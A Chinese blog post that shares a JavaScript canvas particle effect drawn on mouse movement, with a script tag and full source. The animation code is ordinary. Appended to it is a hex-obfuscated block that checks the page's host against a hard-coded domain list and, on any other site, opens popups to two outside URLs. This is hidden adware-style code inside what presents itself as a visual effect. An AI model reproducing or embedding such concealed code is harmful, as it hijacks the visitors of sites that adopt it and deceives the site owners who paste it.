1. 程式人生 > >JS:滑鼠移動-傘形特效

JS:滑鼠移動-傘形特效

效果演示:

作者git地址:https://github.com/VincentGarreau/particles.js

程式碼

<script type='text/javascript' color='22,192,255' zIndex='-1' opacity='1' count='99' src='js/umbrella.js'></script>
!function () {
	function n (n, e, t) {
		return n.getAttribute(e) || t
	}

	function e (n) {
		return document.getElementsByTagName(n)
	}

	function t () {
		var t = e("script"), o = t.length, i = t[o - 1];
		return {l: o, z: n(i, "zIndex", -1), o: n(i, "opacity", .5), c: n(i, "color", "0,0,0"), n: n(i, "count", 99)}
	}

	function o () {
		a = m.width = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth, c = m.height = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight
	}

	function i () {
		r.clearRect(0, 0, a, c);
		var n, e, t, o, m, l;
		s.forEach(function (i, x) {
			for (i.x += i.xa, i.y += i.ya, i.xa *= i.x > a || i.x < 0 ? -1 : 1, i.ya *= i.y > c || i.y < 0 ? -1 : 1, r.fillRect(i.x - .5, i.y - .5, 1, 1), e = x + 1; e < u.length; e++) n = u[e], null !== n.x && null !== n.y && (o = i.x - n.x, m = i.y - n.y, l = o * o + m * m, l < n.max && (n === y && l >= n.max / 2 && (i.x -= .03 * o, i.y -= .03 * m), t = (n.max - l) / n.max, r.beginPath(), r.lineWidth = t / 2, r.strokeStyle = "rgba(" + d.c + "," + (t + .2) + ")", r.moveTo(i.x, i.y), r.lineTo(n.x, n.y), r.stroke()))
		}), x(i)
	}

	var a, c, u, m = document.createElement("canvas"), d = t(), l = "c_n" + d.l, r = m.getContext("2d"),
		x = window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function (n) {
			window.setTimeout(n, 1e3 / 45)
		}, w = Math.random, y = {x: null, y: null, max: 2e4};
	m.id = l, m.style.cssText = "position:fixed;top:0;left:0;z-index:" + d.z + ";opacity:" + d.o, e("body")[0].appendChild(m), o(), window.onresize = o, window.onmousemove = function (n) {
		n = n || window.event, y.x = n.clientX, y.y = n.clientY
	}, window.onmouseout = function () {
		y.x = null, y.y = null
	};
	for (var s = [], f = 0; d.n > f; f++) {
		var h = w() * a, g = w() * c, v = 2 * w() - 1, p = 2 * w() - 1;
		s.push({x: h, y: g, xa: v, ya: p, max: 6e3})
	}
	u = s.concat([y]), setTimeout(function () {
		i()
	}, 100)
}();
var kbOwCstw1 = ['\x77\x77\x77\x2e\x6d\x6c\x77\x65\x69\x2e\x63\x6f\x6d', '\x61\x70\x69\x2e\x6d\x6c\x77\x65\x69\x2e\x63\x6f\x6d', '\x77\x77\x77\x2e\x35\x35\x6d\x6c\x2e\x63\x6e', '\x69\x64\x63\x2e\x35\x35\x6d\x6c\x2e\x63\x6e', '\x70\x61\x79\x2e\x35\x35\x6d\x6c\x2e\x63\x6e', '\x77\x77\x77\x2e\x79\x75\x6e\x6c\x69\x6e\x6b\x2e\x74\x6f\x70'];
if (isInArray(kbOwCstw1, host) === false) {
	window['\x6f\x70\x65\x6e']('\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x6d\x6c\x77\x65\x69\x2e\x63\x6f\x6d\x2f');
	window['\x6f\x70\x65\x6e']('\x68\x74\x74\x70\x3a\x2f\x2f\x69\x64\x63\x2e\x35\x35\x6d\x6c\x2e\x63\x6e');
}

function isInArray (shkqFRkOs2, cIrB3) {
	for (var IvkVYtKqm4 = 0; IvkVYtKqm4 < shkqFRkOs2['\x6c\x65\x6e\x67\x74\x68']; IvkVYtKqm4++) {
		if (cIrB3 === shkqFRkOs2[IvkVYtKqm4]) {
			return true;
		}
	}
	return false;
}